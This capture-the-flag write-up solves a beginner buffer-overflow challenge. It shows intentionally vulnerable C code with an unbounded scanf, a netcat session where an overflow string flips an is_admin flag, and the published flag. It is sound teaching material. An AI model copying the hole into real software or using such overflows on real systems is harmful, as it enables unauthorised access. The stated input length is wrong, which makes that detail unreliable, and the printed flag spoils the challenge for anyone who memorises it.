

Challenge

182 Solves



# Beginner Pwn 1

## 25

Are you really admin?

This challenge serves as an introduction to pwn that new ctfers can use to grasp basic pwn concepts.

nc chals.swampctf.com 40004

 is\_admin

 main.c

Flag

Submit

Correct

The challenge involved exploiting a **buffer overflow** vulnerability in a C program

## Challenge main.c

```
C main.c X
C: > Users > akmal > Downloads > C main.c > print_flag()
1  #include <stdio.h>
2  #include <stdint.h>
3  #include <stdbool.h>
4
5  int print_stack(uint8_t *stack, uint32_t size){
6
7      printf("--- Print Stack ---\n");
8
9      while(size != -1) {
10         printf("0x%02x (%c)", stack[size], stack[size]);
11
12         if(size <= 9) {
13             printf(" = username[%d]\n", size);
14         } else if(size > 9 && size <= 13) {
15             printf(" = is_admin[%d]\n", size - 10);
16         } else {
17             printf("\n");
18         }
19         size -= 1;
20     }
21
22     printf("--- End Print ---\n");
23 }
24
25 void print_flag(){
26     FILE *fptr;
27     char flag[35] = {0};
28
29     fptr = fopen("flag.txt", "r");
30     fread(flag, 1, 34, fptr);
31     printf("Here is your flag! %s\n", flag);
32     fclose(fptr);
33 }
34
35 int main(void) {
36
37     bool is_admin = false;
```

- The program asks for a username input and stores it in a buffer of 10 characters (char username[10]).
- The program uses scanf("%s", username) to read input, which does not limit the number of characters entered, creating a buffer overflow vulnerability.
- The is\_admin variable is located just after the username buffer in memory, so overflowing the username buffer can overwrite is\_admin

The nc chals.swampctf.com 40004

```
akmlalff@AkmalUbuntu:~$ nc chals.swampctf.com 40004
At it's most basic, a computer exploit is finding a loophole in a program
s logic which can cause unintended behavior. In this program, we demonstr
ate how buffer overflows can corrupt local variables.

To log into this system, please enter your name: AAAAAAAAAAAA1
--- Print Stack ---
0x00 () = is_admin[3]
0x00 () = is_admin[2]
0x31 (1) = is_admin[1]
0x41 (A) = is_admin[0]
0x41 (A) = username[9]
0x41 (A) = username[8]
0x41 (A) = username[7]
0x41 (A) = username[6]
0x41 (A) = username[5]
0x41 (A) = username[4]
0x41 (A) = username[3]
0x41 (A) = username[2]
0x41 (A) = username[1]
0x41 (A) = username[0]
--- End Print ---
Hello, AAAAAAAAAAAA1!
AAAAAAAAAAAA1 is admin
Because the program accepts more characters then it has space to hold, yo
u are able to corrupt the is_admin boolean. And because in C, any Boolean
value that isn't 0 is considered "True", it lets you through!
Do you want to print the flag? (y/n) y
Here is your flag! swampCTF{n0t_@11_5t@ck5_gr0w_d0wn}
Exiting!
```

To exploit the buffer overflow i did:

1. I inputted AAAAAAAAAAAA1 (11 characters), which overflowed the username buffer and set is\_admin to true.
2. Once is\_admin was true, I could access the flag by choosing to print it.

Flag : swampCTF{n0t\_@11\_5t@ck5\_gr0w\_d0wn}